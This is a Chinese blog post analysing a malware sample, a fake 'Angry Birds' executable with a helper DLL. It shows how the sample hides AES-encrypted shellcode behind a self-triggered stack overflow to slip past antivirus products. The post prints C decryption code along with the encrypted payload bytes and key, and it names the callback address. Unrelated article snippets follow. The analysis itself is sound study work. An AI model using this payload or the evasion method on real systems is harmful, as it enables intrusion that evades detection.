免杀国内主流杀软的恶意样本分析
目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序

动态执行,杀软也未拦截
上传到virustotal网站分析恶意程序,只有三个引擎检测出来
die分析恶意程序,未加壳,32位PE程序
将恶意程序导入ida pro进行静态分析
程序主函数伪代码很少,没有常见恶意程序使用的函数,首先程序往v15变量里导入了2012个A字符

然后定义了一个地址,通过查询,这个地址并未在当前程序中
然后往v10变量里放入了很多0x90,0x90是汇编指令中的nop指令,NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作

然后往pbData变量里传入了一串值,根据后面的分析,这一串值是解密shellcode的key

v6,v8里的值就是payload

这里程序调用了memcpy函数,拼接字符,并且是将payload拼接到了其中
调用了__i3b_D2函数,将密钥和payload都导入了其中,是解密payload的函数
aes的解密方式,说明payload是经过aes加密过的

然后将一大串nop指令和payload用memcpy函数copy到指定的变量里,最后调用了Function函数
只有一个strcpy函数
程序主要的代码就这么多,还不知如何绕过杀软执行上线的
使用pe-bear分析程序
导入了四个dll库,其中ADVAPI32.DLL,KENNEL32.DLL,msvcrt.dll都是程序编译时,系统自动绑定的dll,只有fun.dll是第三方dll,用ida分析fun.dll
找到exe程序中定义的地址,是一个jmp esp指令

这个dll的代码只有jmp esp这一个功能
从程序里导出shellcode后解密
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, “crypt32.lib”)
void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {return;
}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {return;
}CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
int main(int argc, char argv[]) {
unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a };
unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
DWORD code_length = sizeof(payload);
aes_de((char)code, code_length, key, sizeof(key));
printf(payload);
使用scdbg分析shellcode,发现shellcode外连了一个ip,192.168.85.128,端口为8011,根据上面的浏览器http流量头,可以知道恶意程序使用的payload是msf或者cs生成的http payload

动态分析exe,使用System Informer监听后台,发现程序并没有启动其他的子程序

执行程序,在0x62501443地址处打一个断点
用xdbg调试程序,运行到程序入口处
F8一步一步查看程序,在下面程序跳转到了0x401658地址处
在执行了memset函数时,堆栈里都被A覆盖了
这里本来是要跳转到0x4017c6地址处的,但是直接跳转到了jmp esp指令地址处,程序被栈溢出后控制了返回地址

执行jmp esp后,首先是一长串的NOP指令
nop指令后面的就是aes解密后的payload指令
现在知道了程序的执行流,恶意程序设置了一个存在栈溢出的函数,然后用strcpy函数触发栈溢出攻击,将jmp esp指令放到dll库里是为了固定指令地址,在不同环境上稳定运行,这里放上一个程序执行流程图
通过流量监控,也找到恶意程序外连ip 192.168.85.128 端口8011

scdbg工具下载地址:
http://sandsprite.com/blogs/index.php?uid=7&pid=152
相关文章:
免杀国内主流杀软的恶意样本分析
目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序 动态执行,杀软也未拦截 上传到virustotal网站分析恶意程序,只有三个引擎检测出来 die分析…...
第4章 基于中点电流的NPC逆变器中点电压平衡策略
1. 工作原理 1.1 NPC型三电平逆变器工作原理 NPC型三相三电平逆变器有A、B、C三个桥臂,其组成结构是相同的,本章以A相为例,对其工作原理进行分析。开关器件SA1和SA3、SA2和SA4为互补器件,通过控制开关器件的导通和关断状态&#…...
消息队列篇--通信协议篇--应用层协议和传输层协议理解
在网络通信中,传输层协议和应用层协议是OSI模型中的两个不同层次的协议,它们各自承担着不同的职责。 下文中,我们以TCP/UDP(传输层协议)和HTTP/SMTP(应用层协议)为例进行详细解释。 1、传输层协…...
FLTK - FLTK1.4.1 - demo - animgifimage
文章目录 FLTK - FLTK1.4.1 - demo - animgifimage概述笔记END FLTK - FLTK1.4.1 - demo - animgifimage 概述 知识点: 注册图像文件类型判断回调 FLTK支持的图像格式 GIF, BMP, ICO, PNM, PNG, jpg, svg 事件回调的注册 GIF图像显示为图片或动画的标志设置 // 超时回调的设置…...
目前市场主流的AI PC对于大模型本地部署的支持情况分析-Deepseek
以下是目前市场主流AI PC对**大模型本地部署支持情况**的综合分析,结合硬件能力、软件生态及厂商动态进行总结: --- ### **一、硬件配置与算力支持** 1. **核心处理器架构** - **异构计算方案(CPUGPUNPU)**:主流…...
1.2 基于深度学习的底层视觉技术
文章目录 高层视觉任务与底层视觉任务深度神经网络相对于传统方法的优势 高层视觉任务与底层视觉任务 计算机视觉中的任务包含高层视觉任务,底层视觉任务。高层视觉任务是处理语义级别相关的任务,例如图像分类、目标检测、图像分割等。底层视觉任务处理与…...
HTML 标题
HTML 标题 引言 HTML(超文本标记语言)是构建网页的基础,而标题则是网页中不可或缺的元素。标题不仅能够帮助用户快速了解网页内容,还能够对搜索引擎优化(SEO)产生重要影响。本文将详细介绍HTML标题的用法…...
SOME/IP--协议英文原文讲解3
前言 SOME/IP协议越来越多的用于汽车电子行业中,关于协议详细完全的中文资料却没有,所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块: 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 Note: Thi…...
Microsoft Visual Studio 2022 主题修改(补充)
Microsoft Visual Studio 2022 透明背景修改这方面已经有很多佬介绍过了,今天闲来无事就补充几点细节。 具体的修改可以参考:Microsoft Visual Studio 2022 透明背景修改(快捷方法)_material studio怎么把背景弄成透明-CSDN博客文…...
UE(UltraEdit) 配置简易C/C++编译运行环境
该类型其他帖子 EmEditor 配置简易C/C 编译运行环境_emeditor 代码运行-CSDN博客 RJ TextEd 配置简易C/C 编译运行环境-CSDN博客 这种配置适合ACM竞赛,即要求不使用现代IDE,又想用一个比较好用、至少支持代码高亮的编辑器。 前提条件 1.Mingw GCC 已…...
使用 MSYS2 qemu 尝鲜Arm64架构国产Linux系统
近期,我的师弟咨询我关于Arm64架构的国产CPU国产OS开发工具链问题。他们公司因为接手了一个国企的单子,需要在这类环境下开发程序。说实在的我也没有用过这个平台,但是基于常识,推测只要基于C和Qt,应该问题不大。 1. …...
python Flask-Redis 连接远程redis
当使用Flask-Redis连接远程Redis时,首先需要安装Flask-Redis库。可以通过以下命令进行安装: pip install Flask-Redis然后,你可以使用以下示例代码连接远程Redis: from flask import Flask from flask_redis import FlaskRedisa…...
在Windows系统中本地部署属于自己的大语言模型(Ollama + open-webui + deepseek-r1)
文章目录 1 在Windows系统中安装Ollama,并成功启动;2 非docker方式安装open-webui3下载并部署模型deepseek-r1 Ollama Ollama 是一个命令行工具,用于管理和运行机器学习模型。它简化了模型的下载与部署,支持跨平台使用,…...
Haproxy入门学习二
一、Haproxy的算法 1.haproxy通过固定参数balance指明对后端服务器的调度算法,其中balance参数可以配置在listen或backend选项中 2.haproxy的调度算法分为静态和动态调度算法,其中有些算法可以根据参数在静态和动态算法中相互转换 3.静态算法:…...
Git图形化工具【lazygit】
简要介绍一下偶然发现的Git图形化工具——「lazygit」 概述 Lazygit 是一个用 Go 语言编写的 Git 命令行界面(TUI)工具,它让 Git 操作变得更加直观和高效。 Github地址:https://github.com/jesseduffield/lazygit 主要特点 主要…...
node 爬虫开发内存处理 zp_stoken 作为案例分析
声明: 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 前言 主要说3种我们补环境过后如果用…...
基于Langchain-Chatchat + ChatGLM 本地部署知识库
一、相关环境 参考链接: Github:https://github.com/chatchat-space/Langchain-Chatchat Langchain-chatchat版本:v0.3.1 安装环境:Ubuntu:22.04,CUDA:12.1 二、搭建过程 2.1 环境配置 2.1.1 创建chatchat虚拟环…...
【C语言】main函数解析
一、前言 在学习编程的过程中,我们很早就接触到了main函数。在Linux系统中,当你运行一个可执行文件(例如 ./a.out)时,如果需要传入参数,就需要了解main函数的用法。本文将详细解析main函数的参数ÿ…...
【QT】- QUdpSocket
QUdpSocket 是 Qt 自带的一个类,属于 Qt 网络模块,用于进行 UDP(用户数据报协议) 通信。它提供了简便的接口来发送和接收 UDP 数据报(datagrams)。 UDP 是一种无连接的协议,适用于那些不需要确…...
性能测试丨分布式性能监控系统 SkyWalking
软件测试领域,分布式系统的复杂性不断增加,如何保证应用程序的高可用性与高性能,这是每一个软件测试工程师所面临的重大挑战。幸运的是,现在有了一些强大的工具来帮助我们应对这些挑战,其中之一便是Apache SkyWalking。…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》
在注意力分散、内容高度同质化的时代,情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现,消费者对内容的“有感”程度,正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中࿰…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域,向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能,能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作,并通过具体…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
